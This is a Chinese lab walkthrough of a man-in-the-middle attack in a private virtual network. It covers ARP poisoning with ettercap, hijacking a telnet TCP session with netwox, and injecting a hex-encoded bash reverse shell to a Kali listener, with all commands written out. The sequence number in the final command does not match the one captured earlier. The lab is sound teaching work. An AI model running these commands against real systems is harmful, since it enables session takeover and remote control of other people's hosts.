使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)

前期准备

  1. 准备一台Ubuntu虚拟机 ubuntu20.04

ubuntu20.04 解压即用 已安装vm-tools 用户名base密码base apt已换源

  1. 克隆出另一台Ubuntu
    如果无法从主机复制粘贴到Ubuntu,执行以下命令并重启
sudo apt install open-vm-tools-desktop
  1. 准备一台kali
  2. 由于Ubuntu无Wireshark,所以需要在软件商店里安装Wireshark,kali自带Wireshark。
  3. Ubuntu配置telnet
  4. kali安装netwox
sudo apt-get install netwox

如果报错,使用sudo apt-get update,若还不行,使用sudo apt-get upgrade

使用ifconfig -a命令时,如果失败,则按系统提示的命令执行

实验环境

  1. 实验环境:使用两台Ubuntu主机做服务和响应端以及一台Kali做攻击:

Ubuntu base的ip地址是192.168.147.134

在这里插入图片描述

Ubuntu 1 的ip地址是 192.168.147.135

在这里插入图片描述

Kali 的ip地址是192.168.147.129

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第1张图片

实验拓扑

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第2张图片

启动抓包工具

  1. 分别在三台机器上启动wireshark,抓本机所在网卡

注意:三台机器的wireshark所抓网卡从ifconfig -a命令中得到。

启动ettercap

  1. 在kali中启动ettercap graphical,对其进行设置,开启ARP攻击。

(1) 先点击Accept,在ettercap menu中选择Hosts中的Hosts list和Scan for hosts
(2) 选择ip地址是 server 的ip,点击Add to Target1;选择ip地址是 client的ip,点击Add to Target2
(3) 再点击EITM menu中的ARP posioning直接点击OK

使用telnet命令

4.在server 中使用telnet命令去telnet另一台 client主机
使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第3张图片

分析包中数据

  1. 在kali的wireshark抓包中找到类型是telnet的最后一个数据包或者是最后一个类型是TCP的Retransmission的数据包。

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第4张图片

  1. 因为要伪造TCP包,所以要将TCP报文的协议首选项中的计算seqnumber的默认选项勾掉,不让它默认给我们计算

对一个tcp包,右键点击protocal perferences,取消图中箭头所指的方框。

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第5张图片

  1. 如图所示:从包的数据中得到src_ip、dst_ip、src_port、seqnum、acknum

telnet默认端口是23(即dst_port)

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第6张图片

本次实验所抓数据包中数据提取为:
Src_port:54440
Seqnum:2978828188
Acknum:1961176702

监听kali端口,使用netwox

  1. 利用nc -lnvp命令监听kali的端口(端口不固定)
nc -lnvp 9999
另起一个终端,利用netwox的40号工具伪装tcp报文攻击主机

构造netwox所需攻击命令

  1. 利用cyberchef中的to hex工具构建shellcode:

    反弹Shell命令:

bash -i>&/dev/tcp/ip地址/port 0>&1

将kali的ip地址以及kali所开放的端口按格式填入,将其转换为十六进制

如图所示:
使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第7张图片
本次实验的shellnode为:

62617368202d693e262f6465762f7463702f3139322e3136382e3134372e3132392f3939393920303e26310d00

攻击命令格式:
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 'IP_addr' --ip4-dst 'IP_addr' --tcp-src 'port' --tcp-dst 'port' --tcp-seqnum '数值' --tcp-acknum '数值' –tcp-ack --tcp-psh --tcp-window 227 --tcp-data 'shellnode'
0d00在末尾加上表示执行

本次实验攻击命令为:

sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.147.134 --ip4-dst 192.168.147.135 --tcp-src 54440 --tcp-dst 23 --tcp-seqnum 2978228188 --tcp-acknum 1961176702 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e3134372e3132392f3939393920303e26310d00

实验结果

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第8张图片

攻击成功,成功进入另一台主机

使用Ubuntu和kali来实现Tcp劫持和反弹Shell攻击(从零开始实验)_第9张图片

你可能感兴趣的:(网络空间安全协议实验,网络协议,网络,安全,ubuntu,网络安全)